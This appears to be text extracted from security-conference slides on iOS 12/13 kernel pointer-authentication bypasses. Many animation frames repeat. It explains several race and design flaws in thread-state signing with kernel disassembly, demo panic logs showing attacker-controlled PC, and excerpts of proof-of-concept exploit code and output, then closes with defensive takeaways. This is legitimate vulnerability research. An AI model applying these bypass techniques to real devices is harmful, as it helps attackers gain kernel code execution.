if (cpu\_4\_interrupted)  
 overwrite\_saved\_x8()


Thread B (CPU 5)





Kernel

User




Thread A (CPU 4)

```

if (cpu_4_interrupted)
    overwrite_saved_x8()

```

Thread B (CPU 5)



thread\_state64\_to\_saved\_state

```

...
MOV    x8, x30
...
MOV    x30, x8
...
RET

```

**CPU 4:**  
Execute interrupt handler

```

e11_sp0_fiq_vector_long
▶ ...
ERET

```

machine\_thread\_set\_state

```

...
BL
...

```

thread\_state64\_to\_saved\_state

Kernel

User

thread\_set\_state()



Thread A (CPU 4)

```


if (cpu_4_interrupted)
  overwrite_saved_x8()

```

Thread B (CPU 5)







thread\_state64\_to\_saved\_state

```

...
MOV    x8, x30
...
MOV    x30, x8
...
RET

```

**CPU 4:**  
Execute interrupt handler

```

e11_sp0_fiq_vector_long
▶ ...
ERET

```

machine\_thread\_set\_state


```

...
BL    thread_state64_to_saved_state
...

```

Kernel

User



Thread A (CPU 4)

```

▶ if (cpu_4_interrupted)
    overwrite_saved_x8()

```

Thread B (CPU 5)



thread\_state64\_to\_saved\_state

```

...
MOV    x8, x30
...
MOV    x30, x8
...
RET

```

**CPU 4:**  
Execute interrupt handler

```

e11_sp0_fiq_vector_long
▶ ...
ERET

```

machine\_thread\_set\_state

```

...
BL
...

```

thread\_state64\_to\_saved\_state

Kernel

User

thread\_set\_state()



Thread A (CPU 4)


```

if (cpu_4_interrupted)
▶  overwrite_saved_x8()

```

Thread B (CPU 5)





thread\_state64\_to\_saved\_state

```

...
MOV    x8, x30
...
MOV    x30, x8
...
RET

```

**CPU 4:**  
Execute interrupt handler

```

e11_sp0_fiq_vector_long
▶ ...
ERET

```

machine\_thread\_set\_state

```

...
BL    thread_state64_to_saved_state
...

```

Kernel

User

thread\_set\_state()



Thread A (CPU 4)

```

if (cpu_4_interrupted)
▶ overwrite_saved_x8()

```

Thread B (CPU 5)



X0
X1
X2
⋮
X8
⋮
X29
LR
SP
PC
CPSR
pac_sig

thread\_state64\_to\_saved\_state

```

...
MOV    x8, x30
...
MOV    x30, x8
...
RET

```

**CPU 4:**  
Execute interrupt handler

```

e11_sp0_fiq_vector_long
▶ ...
ERET

```

machine\_thread\_set\_state

```

...
BL    thread_state64_to_saved_state
...

```

Kernel

User

thread\_set\_state()



Thread A (CPU 4)

```

if (cpu_4_interrupted)
    overwrite_saved_x8()

```

Thread B (CPU 5)



X0
X1
X2
⋮
X8
⋮
X29
LR
SP
PC
CPSR
pac_sig

thread\_state64\_to\_saved\_state

```

...
MOV    x8, x30
...
MOV    x30, x8
...
RET

```

**CPU 4:  
Execute interrupt  
handler**

e11\_sp0\_fiq\_vector\_long

```

...
ERET

```

machine\_thread\_set\_state

```

...
BL    thread_state64_to_saved_state
...

```

Kernel

User

thread\_set\_state()



Thread A (CPU 4)

```

if (cpu_4_interrupted)
    overwrite_saved_x8()

```

Thread B (CPU 5)





thread\_state64\_to\_saved\_state

```

...
MOV    x8, x30
...
MOV    x30, x8
...
RET

```

**CPU 4:**  
Execute interrupt handler

```

e11_sp0_fiq_vector_long
...
ERET

```

machine\_thread\_set\_state


```

...
BL    thread_state64_to_saved_state
...

```

Kernel

User



thread\_set\_state()



Thread A (CPU 4)

```


if (cpu_4_interrupted)
    overwrite_saved_x8()

```

Thread B (CPU 5)



Kernel  
-----  
User



thread\_set\_state()

Thread A (CPU 4)

thread\_state64\_to\_saved\_state


```
...  
MOV    X8, X30  
...  
▶ MOV    X30, X8  
...  
RET
```

machine\_thread\_set\_state


```
...  
BL     thread_state64_to_saved_state  
...
```

if (cpu\_4\_interrupted)  
 overwrite\_saved\_x8()

Thread B (CPU 5)



Kernel  
-----  
User



thread\_set\_state()

Thread A (CPU 4)

thread\_state64\_to\_saved\_state


```
...  
MOV    X8, X30  
...  
▶ MOV    X30, X8  
...  
RET
```

machine\_thread\_set\_state

```
...  
BL     thread_state64_to_saved_state  
...
```


if (cpu\_4\_interrupted)  
 overwrite\_saved\_x8()

Thread B (CPU 5)





Kernel  
-----  
User



thread\_set\_state()

Thread A (CPU 4)

thread\_state64\_to\_saved\_state


```
...  
MOV    X8, X30  
...  
▶ MOV    X30, X8  
...  
RET
```

machine\_thread\_set\_state


```
...  
BL     thread_state64_to_saved_state  
...
```

if (cpu\_4\_interrupted)  
 overwrite\_saved\_x8()

Thread B (CPU 5)



Kernel  
-----  
User



thread\_set\_state()

Thread A (CPU 4)

thread\_state64\_to\_saved\_state


```
...  
MOV    X8, X30  
...  
MOV    X30, X8  
...  
▶ RET
```

machine\_thread\_set\_state


```
...  
BL     thread_state64_to_saved_state  
...
```

if (cpu\_4\_interrupted)  
 overwrite\_saved\_x8()

Thread B (CPU 5)



Kernel  
-----  
User



thread\_set\_state()

Thread A (CPU 4)

thread\_state64\_to\_saved\_state


```
...  
MOV    X8, X30  
...  
MOV    X30, X8  
...  
RET
```

machine\_thread\_set\_state


```
...  
BL     thread_state64_to_saved_state  
...
```

if (cpu\_4\_interrupted)  
 overwrite\_saved\_x8()

Thread B (CPU 5)



Kernel  
-----  
User



thread\_set\_state()

Thread A (CPU 4)

thread\_state64\_to\_saved\_state

...  
MOV x8, x30

...  
MOV x30, x8

...

RET

PC control!

machine\_thread\_set\_state

...

BL thread\_state64\_to\_saved\_state

...

if (cpu\_4\_interrupted)  
  overwrite\_saved\_x8()

Thread B (CPU 5)

# DEMO



panic-full-2020-02-17-132114....



```
"build" : "iPhone OS 13.3 (17C54)",
"product" : "iPhone12,3",
"kernel" : "Darwin Kernel Version 19.2.0: Mon Nov  4 17:46:45 PST 2019;
root:xnu-6153.60.66~39/RELEASE_ARM64_T8030",
"incident" : "30E07616-66A8-425C-8D40-4B570531CDF5",
"crashReporterKey" : "bc51922c773e3ee642f1e730544045c6bd181e49",
"date" : "2020-02-17 13:21:12.40 -0800",
"panicString" : "panic(cpu 0 caller 0xfffffff01afa36dc): PC alignment
exception from kernel. at pc 0xfffffff041414141, lr 0xfffffff042424242
(saved state: 0xffffffe07e777cb0)\n\t x0: 0x0000000000000000 x1:
0x0001000100010001 x2: 0x0002000200020002 x3:
0x0003000300030003\n\t x4: 0x0004000400040004 x5:
0x0005000500050005 x6: 0x0006000600060006 x7:
0x0007000700070007\n\t x8: 0x0008000800080008 x9:
0x0009000900090009 x10: 0x0010001000100010 x11:
0x0011001100110011\n\t x12: 0x0012001200120012 x13:
0x0013001300130013 x14: 0x0014001400140014 x15:
0x0015001500150015\n\t x16: 0x0016001600160016 x17:
0x0017001700170017 x18: 0x0000000000000000 x19:
0x0019001900190019\n\t x20: 0x0020002000200020 x21:
0x0021002100210021 x22: 0x0022002200220022 x23:
0x0023002300230023\n\t x24: 0x0024002400240024 x25:
0x0025002500250025 x26: 0x0026002600260026 x27:
0x0027002700270027\n\t x28: 0x0028002800280028 fp:
0x0029002900290029 lr: 0xfffffff042424242 sp:
0xffffffe07e778000\n\t pc: 0xfffffff041414141 cpsr: 0x20400304
esr: 0x8a000000 far: 0xfffffff041414141\n\nDebugger message:
panic\nMemory ID: 0x6\nOS version: 17C54\nKernel version: Darwin Kernel
Version 19.2.0: Mon Nov  4 17:46:45 PST 2019; root:xnu-6153.60.66~39/
RELEASE_ARM64_T8030\nKernel UUID: 25C048C5-E304-3E2E-
BC84-6DF0B4E21F63\niBoot version: iBoot-5540.60.11\nnsecure boot?:
YES\nPaniclog version: 13\nKernel slide: 0x0000000012ddc000\nKernel
```

- pac\_bypass\_6
  - app
  - kernel
  - oob\_timestamp
  - pac
    - kernel\_call.h
    - kernel\_call.c
    - pac\_bypass.h
    - pac\_bypass.c
  - ppl
  - Products

```
64     struct overwrite_state *state3 = (struct overwrite_state *) data;
65     struct overwrite_state *state2 = (struct overwrite_state *) (state3 + 1);
66     struct arm64e_saved_state *state1 = (struct arm64e_saved_state *) (state2 + 1);
67     // Initialize EROP.
68     state1->flavor = ARM_SAVED_STATE64;
69     state1->pc = ADDRESS(BR_X25);
70     state1->cpsr = KERNEL_CPSR_DAIF;
71     state1->lr = ADDRESS(exception_return);
72     state1->x[16] = 0;
73     state1->x[17] = 0;
74     state1->pac_signature = kernel_fake_state_signature;
75     state1->sp = kernel_sp;
76     state1->x[25] = ADDRESS(STR_X9_X3__STR_X8_X4__RET);
77     state1->x[9] = kernel_state + overwrite_offset;
78     state1->x[3] = kernel_state + offsetof(struct arm64e_saved_state, x[0]);
79     state1->x[8] = ADDRESS(memmove);
80     state1->x[4] = kernel_state + offsetof(struct arm64e_saved_state, x[25]);
81     state1->x[21] = kernel_state;
82     state1->x[1] = kernel_state2;
83     state1->x[2] = sizeof(*state2);
84     state2->x[25] = ADDRESS(STP_Y0_Y3, STP_Y8_Y4, RET);
```

```
[+] tfp0: 0x11407
[+] PAC bypass
[+] thread_set_state thread 1 enter
[+] thread_set_state thread 0 enter
[+] Modified preempted thread state
[+] Thread is spinning on the spinning gadget
[+] Set register state for the signing gadget
[+] Thread is spinning on the signing gadget
[+] thread_set_state thread 0 exit
[+] Resumed normal execution
[+] thread_set_state thread 1 exit
[+] PAC bypass done
```

# Bypass #6: Interrupts during thread state signing

```
machine_thread_state_initialize
```

```
...
```

```
LDR    X0, [X19,#thread.upcb] ; arm_context
```

```
CBZ    X0, loc_FFFFFFFF007CD2A34
```

```
MOV    W2, #0 ; cpsr
```

```
MOV    X1, #0 ; pc
```

```
MOV    X3, #0 ; lr
```


```
MOV    X4, #0 ; x16
```

```
MOV    X5, #0 ; x17
```

```
BL     sign_thread_state
```

```
...
```

Interrupts during  
thread state signing  
are unsafe



# Bypass #7: Interrupts during PACIA

- Another variant of the same bypass
- Interrupts are not just problematic for `sign_thread_state()`

`__bcopyin`

```
...  
MRS      X10, TPIDR_EL1    ;; thread  
ADRL     X3, copyio_error  
ADD      X11, X10, #thread.recover  
MOVK     X11, #0x1E02, LSL#48  
PACIA    X3, X11  
LDR      X11, [X10, #thread.recover]  
STR      X3, [X10, #thread.recover]  
...
```




# Bypass #7: Interrupts during PACIA

- Another variant of the same bypass
- Interrupts are not just problematic for `sign_thread_state()`

`__bcopyin`

```
...  
MRS    X10, TPIDR_EL1    ;; thread  
ADRL   X3, copyio_error  
ADD    X11, X10, #thread.recover  
MOVK   X11, #0x1E02, LSL#48  
-----  
PACIA  X3, X11  
LDR    X11, [X10, #thread.recover]  
STR    X3, [X10, #thread.recover]  
...
```

An interrupt here would spill X3 and X11, which are unprotected



# Bypass #8: LR spilled during exceptions

- EL1 exception vectors spill LR to memory
- LR read back before `sign_thread_state()`
- Overwrite spilled LR before signature is generated

```
e11_sp0_fiq_vector_long
MSR      SPSel, #0 ; SP_EL0
SUB      SP, SP, #0x350
STP      X0, X1, [SP,#arm_context.x0]
...
STP      X29, X30, [SP,#arm_context.x29]
...
B        fleh_dispatch64
```


```
fleh_dispatch64
STP      X2, X3, [X0,#arm_context.x2]
...
MOV      X1, X30 ; pc
MOV      W2, W23 ; cpsr
LDR      X3, [X0,#arm_context.lr] ; lr
MOV      X4, X16 ; x16
MOV      X5, X17 ; x17
BL       sign_thread_state
```

# Bypass #8: LR spilled during exceptions

- EL1 exception vectors spill LR to memory
- LR read back before `sign_thread_state()`
- Overwrite spilled LR before signature is generated

```
el1_sp0_fiq_vector_long
MSR      SPSel, #0 ; SP_EL0
SUB      SP, SP, #0x350
STP      X0, X1, [SP,#arm_context.x0]
...
STP      X29, X30, [SP,#arm_context.x29]
...
B        fleh_dispatch64

fleh_dispatch64
STP      X2, X3, [X0,#arm_context.x2]
...
MOV      X1, X30 ; pc
MOV      W2, W23 ; cpsr
LDR      X3, [X0,#arm_context.lr] ; lr
MOV      X4, X16 ; x16
MOV      X5, X17 ; x17
BL       sign_thread_state
```



# Bypass #8: LR spilled during exceptions

```
spin_while_zero
```

```
▶ LDR    X1, [X0]  
  CBZ    X1, spin_while_zero  
  RET
```

# Bypass #8: LR spilled during exceptions

spin\_while\_zero

```
▶ LDR    X1, [X0]
  CBZ    X1, spin_while_zero
  RET
```

el1\_sp0\_fiq\_vector\_long

```
▶ ...
  STP    X29, X30, [SP,#arm_context.x29]
  ...
  B      fleh_dispatch64
```

fleh\_dispatch64

```
...
  LDR    X3, [X0,#arm_context.lr] ; lr
  ...
  BL     sign_thread_state
  ...
```

X0
X1
X2
X3
X4
X5
⋮
X29
LR
SP
PC
CPSR
pac_sig

# Bypass #8: LR spilled during exceptions

spin\_while\_zero


```
▶ LDR    X1, [X0]
  CBZ    X1, spin_while_zero
  RET
```

el1\_sp0\_fiq\_vector\_long

```
▶ ...
  STP    X29, X30, [SP,#arm_context.x29]
  ...
  B      fleh_dispatch64

fleh_dispatch64
  ...
  LDR    X3, [X0,#arm_context.lr] ; lr
  ...
  BL     sign_thread_state
  ...
```

X0
X1
X2
X3
X4
X5
⋮
X29
LR
SP
PC
CPSR
pac_sig



# Bypass #8: LR spilled during exceptions

spin\_while\_zero


```
LDR X1, [X0]
CBZ X1, spin_while_zero
RET
```

el1\_sp0\_fiq\_vector\_long

```
...
STP X29, X30, [SP, #arm_context.x29]
...
B fleh_dispatch64
```

fleh\_dispatch64

```
...
LDR X3, [X0, #arm_context.lr] ; lr
...
BL sign_thread_state
...
```



# Bypass #8: LR spilled during exceptions

spin\_while\_zero

```
LDR    X1, [X0]
-----
CBZ    X1, spin_while_zero
RET
```

el1\_sp0\_fiq\_vector\_long

```
...
STP    X29, X30, [SP,#arm_context.x29]
...
▶ B    fleh_dispatch64
```

fleh\_dispatch64

```
...
LDR    X3, [X0,#arm_context.lr] ; lr
...
BL    sign_thread_state
...
```





# Bypass #8: LR spilled during exceptions

spin\_while\_zero

```
▶ LDR    X1, [X0]
  CBZ    X1, spin_while_zero
  RET
```

e11\_sp0\_fiq\_vector\_long

```
...
STP    X29, X30, [SP,#arm_context.x29]
...
B      fleh_dispatch64
```

fleh\_dispatch64

```
▶ ...
  LDR    X3, [X0,#arm_context.lr] ; lr
  ...
  BL     sign_thread_state
  ...
```

X0
X1
X2
X3
X4
X5
⋮
X29
LR
SP
PC
CPSR
pac_sig

# Bypass #8: LR spilled during exceptions

spin\_while\_zero

```
LDR X1, [X0]  
-----  
CBZ X1, spin_while_zero  
RET
```


el1\_sp0\_fiq\_vector\_long

```
...  
STP X29, X30, [SP, #arm_context.x29]  
...  
B fleh_dispatch64
```

fleh\_dispatch64

```
...  
▶ LDR X3, [X0, #arm_context.lr] ; lr  
...  
BL sign_thread_state  
...
```

X0
X1
X2
X3
X4
X5
⋮
X29
LR
SP
PC
CPSR
pac_sig



# Bypass #8: LR spilled during exceptions

spin\_while\_zero

```
▶ LDR    X1, [X0]
  CBZ    X1, spin_while_zero
  RET
```

e11\_sp0\_fiq\_vector\_long

```
...
STP     X29, X30, [SP,#arm_context.x29]
...
B       fleh_dispatch64
```

fleh\_dispatch64

```
...
LDR     X3, [X0,#arm_context.lr] ; lr
...
▶ BL    sign_thread_state
...
```

X0
X1
X2
X3
X4
X5
⋮
X29
LR
SP
PC
CPSR
pac_sig

# Bypass #8: LR spilled during exceptions

spin\_while\_zero



```
LDR    X1, [X0]
-----
CBZ    X1, spin_while_zero
RET
```

X0
X1
X2
X3
X4
X5
⋮
X29
LR
SP
PC
CPSR
pac_sig


e11\_sp0\_fiq\_vector\_long

```
...
STP    X29, X30, [SP,#arm_context.x29]
...
B      fleh_dispatch64
```

fleh\_dispatch64

```
...
LDR    X3, [X0,#arm_context.lr] ; lr
...
▶ BL   sign_thread_state
...
```

Signed state with controlled LR




# Bypass #8: LR spilled during exceptions

Reading parameters from memory before `sign_thread_state()` is always insecure

```
e11_sp0_fiq_vector_long
MSR      SPSEL, #0 ; SP_EL0
SUB      SP, SP, #0x350
STP      X0, X1, [SP,#arm_context.x0]
...
STP      X29, X30, [SP,#arm_context.x29]
...
B        fleh_dispatch64

fleh_dispatch64
STP      X2, X3, [X0,#arm_context.x2]
...
MOV      X1, X30 ; pc
MOV      W2, W23 ; cpsr
LDR      X3, [X0,#arm_context.lr] ; lr
MOV      X4, X16 ; x16
MOV      X5, X17 ; x17
BL       sign_thread_state
```



# Bypass #9: Switch\_context() / Idle\_context()

## Switch\_context

```
CBNZ    X1, have_continuation__no_need_to_save
LDR     X3, [X0,#thread.kstackptr]
STP     X16, X17, [X3,#arm_context.x16]
STP     X19, X20, [X3,#arm_context.x19]
...
STP     X29, X30, [X3,#arm_context.x29]
...
MOV     X0, X3 ; arm_context
LDR     X1, [X0,#arm_context.pc] ; pc
LDR     W2, [X0,#arm_context.cpsr] ; cpsr
MOV     X3, X30 ; lr
MOV     X4, X16 ; x16
MOV     X5, X17 ; x17
BL      sign_thread_state
...
RET
```

# Bypass #9: Switch\_context() / Idle\_context()

## Switch\_context

```
CBNZ    X1, have_continuation__no_need_to_save
LDR     X3, [X0,#thread.kstackptr]
STP     X16, X17, [X3,#arm_context.x16]
STP     X19, X20, [X3,#arm_context.x19]
...
STP     X29, X30, [X3,#arm_context.x29]
...
MOV     X0, X3 ; arm_context
LDR     X1, [X0,#arm_context.pc] ; pc
LDR     W2, [X0,#arm_context.cpsr] ; cpsr
MOV     X3, X30 ; lr
MOV     X4, X16 ; x16
MOV     X5, X17 ; x17
BL      sign_thread_state
...
RET
```

PC and CPSR are read  
from memory before  
signing



# Bypass #9: `Switch_context()` / `Idle_context()`

- `Switch_context()` manages thread states for voluntary kernel context switches
  - PC and CPSR are not needed/used
- While thread is active, write arbitrary PC+CPSR into its saved state blob
- `Switch_context()` is called, reads PC+CPSR, signs them into the saved state
- Use the saved state for an exception return with arbitrary PC+CPSR

There's a bigger issue here...



# Design issue

- Fundamentally, there are 2 ways that signed thread states are used
  1. During exception return, via `exception_return`
  2. During kernel thread context switch, via `Switch_context()`
- These uses have different security requirements
  - `exception_return` to EL1 needs PC, CPSR, LR protected
  - `exception_return` to EL0 only needs CPSR protected
  - `Switch_context()` only needs LR protected
- Since thread states can be used in 2 different ways, thread states signed for `Switch_context()` should not be usable by `exception_return` and vice versa
- But there's only one `sign_thread_state()`...
  - Thread states signed for one purpose can be swapped and used for the other

# Bypass #9: `Switch_context()` / `Idle_context()`

- Fundamental issue: Thread state signed by `Switch_context()` for context switching (which does not care about PC+CPSR) can instead be used for exception returns (which do)
- What about the inverse?

# Bypass #10: Swapping user & kernel thread states

- `thread_set_state()` syscall can be used to set registers for user threads
- CPSR is restricted to EL0, but LR is unrestricted
  - Could place a kernel pointer in user LR; it would just fault
- Interacts poorly with `Switch_context()`, which uses LR but ignores CPSR


```
thread_state64_to_saved_state()
{
    verify_thread_state(state, pc,
                        cpsr, lr, x16, x17);
    state->lr = new_lr;
    sign_thread_state(state, pc,
                     cpsr, new_lr, x16, x17);

    new_cpsr = new_state->cpsr & ~0x1F;
    verify_thread_state(state, pc,
                        cpsr, new_lr, x16, x17);
    state->cpsr = new_cpsr;
    sign_thread_state(state, pc,
                     new_cpsr, new_lr, x16, x17);
}
```

# Bypass #10: Swapping user & kernel thread states

- Thread A: Block thread A by sending a Mach message to a filled Mach port
- Thread A: Register state is saved by `Switch_context()`
- Thread B: Set `thread_A->user_state = thread_A->kernel_state`
- Thread B: Call `thread_set_state(thread_A)` to set `kernel_state`'s LR to an arbitrary address and sign
- Thread B: Unblock thread A by receiving a Mach message on the filled port
- Thread A: `Switch_context()` to A causes a RET to the arbitrary address

100% reliable and deterministic



Kernel

User

`mach_msg()`

Thread A

`swap_user_to_kernel_state()`  
`thread_set_state()`

Thread B



```


Switch_context
...
STP    X29, X30, [X3,#arm_context.x29]
...
LDR    X3, [X0,#arm_context.lr]
...
MOV    X30, X3
...
RET

```




```

thread_block_reason
...
BL    Switch_context
...

```



Thread A




```


swap_user_to_kernel_state()
thread_set_state()


```


Thread B














```

Switch_context
...
STP    X29, X30, [X3,#arm_context.x29]
...
LDR    X3, [X0,#arm_context.lr]
...
MOV    X30, X3
...
RET

```

```




thread_block_reason
...
BL    Switch_context
...

```

Kernel  
-----  
User

`mach_msg()`


Thread A



`swap_user_to_kernel_state()`  
▶ `thread_set_state()`

Thread B











```


Switch_context
...
STP    x29, x30, [x3,#arm_context.x29]
...
LDR    x3, [x0,#arm_context.lr]
...
MOV    x30, x3
...
RET
thread_block_reason
...
BL     Switch_context
...

```

Kernel  
-----  
User

`mach_msg()`

Thread A



`swap_user_to_kernel_state()`  
`thread_set_state()`


Thread B

```


Switch_context
...
STP    x29, x30, [x3,#arm_context.x29]
...
LDR    x3, [x0,#arm_context.lr]
...
MOV    x30, x3
...
RET

thread_block_reason
...
BL    Switch_context
...

```



Thread A



```

swap_user_to_kernel_state()
thread_set_state()

```

Thread B

```

Switch_context
...
STP    x29, x30, [x3,#arm_context.x29]
...
LDR    x3, [x0,#arm_context.lr]
...
MOV    x30, x3
...
RET

```

PC control!

```


thread_block_reason
...
BL    Switch_context
...

```

Kernel  
-----  
User

mach\_msg()

Thread A



swap\_user\_to\_kernel\_state()  
thread\_set\_state()

Thread B

# DEMO



panic-full-2020-07-13-154101....



```
"build" : "iPhone OS 13.3 (17C54)",
"product" : "iPhone12,3",
"kernel" : "Darwin Kernel Version 19.2.0: Mon Nov  4 17:46:45 PST 2019;
root:xnu-6153.60.66~39/RELEASE_ARM64_T8030",
"incident" : "16B1713C-3032-43E2-BFC7-9C03FD643DF7",
"crashReporterKey" : "bc51922c773e3ee642f1e730544045c6bd181e49",
"date" : "2020-07-13 15:40:59.61 -0700",
"panicString" : "panic(cpu 1 caller 0xfffffff029d6f6dc): PC alignment
exception from kernel. at pc 0xfffffff042424242, lr 0xfffffff042424242
(saved state: 0xffffffe066ff35a0)\n\t x0: 0xffffffe000d21a90 x1:
0xdbfbd5702978191c x2: 0xfeedfacefeedfac x3:
0x610544894c8839cc\n\t x4: 0xffffffe066c18000 x5:
0x0000000000000000 x6: 0x0000000000000000 x7:
0x0000000000000000\n\t x8: 0x0000000000000001 x9:
0x0000000000000000 x10: 0xffffffe000d21a90 x11:
0xfffffff049133510\n\t x12: 0x0000000000000000 x13:
0x0000000000000001 x14: 0xffffffe000d21a90 x15:
0x0000000000000000\n\t x16: 0x0000000000000000 x17:
0x0000000000000000 x18: 0x0000000016fb5b0e0 x19:
0x0000000000000000\n\t x20: 0x0000000000000000 x21:
0x0000000000000000 x22: 0x0000000000000000 x23:
0x0000000000000000\n\t x24: 0x0000000000000000 x25:
0x0000000000000000 x26: 0x0000000000000000 x27:
0x0000000000000000\n\t x28: 0x0000000000000000 fp:
0x0000000000000000 lr: 0xfffffff042424242 sp: 0xffffffe066ff38f0\n\t
pc: 0xfffffff042424242 cpsr: 0xa04003c4 esr: 0x8a000000 far:
0xfffffff042424242\n\nDebugger message: panic\nMemory ID: 0x6\nOS
version: 17C54\nKernel version: Darwin Kernel Version 19.2.0: Mon Nov  4
17:46:45 PST 2019; root:xnu-6153.60.66~39/
RELEASE_ARM64_T8030\nKernel UUID: 25C048C5-E304-3E2E-
BC84-6DF0B4E21F63\niBoot version: iBoot-5540.60.11\nsecure boot?:
YES\nPaniclog version: 13\nKernel slide: 0x0000000021ba8000\nKernel
```

- pac\_bypass\_10
  - app
    - AppDelegate.h
    - AppDelegate.m
    - SceneDelegate.h
    - SceneDelegate.m
    - ViewController.h
    - ViewController.m **M**
    - Main.storyboard
    - Assets.xcassets
    - LaunchScreen.storyboard
    - Info.plist
    - main.m
    - kernel
    - oob\_timestamp
    - pac
    - ppl
    - Products

```
67 // Fill the port. Trying to send one more after this will block.
68 send_message(receive_port);
69 // Create the thread, which will try to send a message and block.
70 pthread_t pthread;
71 pthread_create(&pthread, NULL, pthread_func, NULL);
72 while (thread_port == 0) {}
73 uint64_t thread = 0;
74 kernel_ipc_port_lookup(current_task, thread_port, NULL, NULL, &thread);
75 printf("thread 0x%x -> 0x%llx\n", thread_port, thread);
76 // Sign the kernel thread state (kstackptr) via the userspace thread_set_state().
77 uint64_t upcb = kernel_read64(thread + 0x450);
78 uint64_t kstackptr = kernel_read64(thread + 0x478);
79 kernel_write64(thread + 0x450, kstackptr);
80 uint64_t sp = kernel_read64(kstackptr + 0x100);
81 arm_thread_state64_t state = { __lr = 0xffffffff042424242, __sp = sp };
82 thread_set_state(thread_port, ARM_THREAD_STATE64, (thread_state_t) &state,
83                 ARM_THREAD_STATE64_COUNT);
84 kernel_write64(thread + 0x450, upcb);
85 printf("signed kstackptr thread state with kernel LR\n");
86 printf("thread->kstackptr->lr: %016llx\n", kernel_read64(kstackptr + 0xf8));
87 // Receive the message to jump to the LR.
88 printf("resuming thread\n");
89 receive_message(receive_port);
```

```
thread start
thread 0xa603 -> 0xffffffffe0070b1540
signed kstackptr thread state with kernel LR
thread->kstackptr->lr: ffffffff042424242
resuming thread
```

# Takeaways

# iOS kernel PAC bypasses

	iOS 12	iOS 13
PAC signing gadget	1	1
PAC bruteforce gadget	1	
Thread state signing gadget	2	2
Unprotected indirect branch	1	
Implementation bug	1	
Reusing signed states (design issue)		2



# More thorough analysis could have helped

- PAC still feels quite ad hoc in iOS 13
  - What is the formal security model?
  - There might be a few fundamental issues remaining
- iOS 12: Apple fixed the POCs, but not the underlying issue
  - Interrupts were explicitly called out as attack vectors
- Important to look at the compiler output
  - Some issues don't appear in the C code
  - Pop the kernel into your favorite disassembler

# PAC is still a good mitigation

- PAC as an exploit mitigation is independent of PAC as kernel CFI
- It has been quite successful at limiting exploitability of certain bug classes
  - Force attackers to use better bugs
- Lots of untapped potential in data PAC
  - Promising improvements in iOS 14

# Kernel PAC bypasses are not *that* important

- In the world of LPE, a kernel PAC bypass seems like the cherry-on-top
- Perhaps an expensive upcharge when selling an exploit?
  - Used to maintain legacy implants that rely on kernel function calls?
- But kernel CFI is not the last line of defense keeping your device safe
  - Hardening the kernel is still more important for end user security